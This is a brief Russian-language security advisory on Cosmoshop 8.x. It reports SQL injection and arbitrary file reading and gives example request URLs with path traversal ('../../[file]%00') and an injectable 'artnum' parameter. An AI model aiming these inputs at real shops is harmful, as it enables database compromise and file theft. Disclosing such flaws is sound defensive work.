Программа: Cosmoshop 8.x

Уязвимость позволяет удаленному пользователю выполнить произвольные SQL
команды в базе данных приложения, а так же просмотреть
произвольные файлы на системе.

Пример:

http://[host]/cgi-bin/admin/bestellvorgang/edit_mailtexte.cgi?file=../../[file]%00
http://[host]/cgi-bin/admin/bestmail.cgi?action=view&file=../../[file]%00

http://[host]/cgi-bin/lshop.cgi?action=showdetail&artnum= [code]&wkid=2002g&ls=d&nocache=



Оставить мнение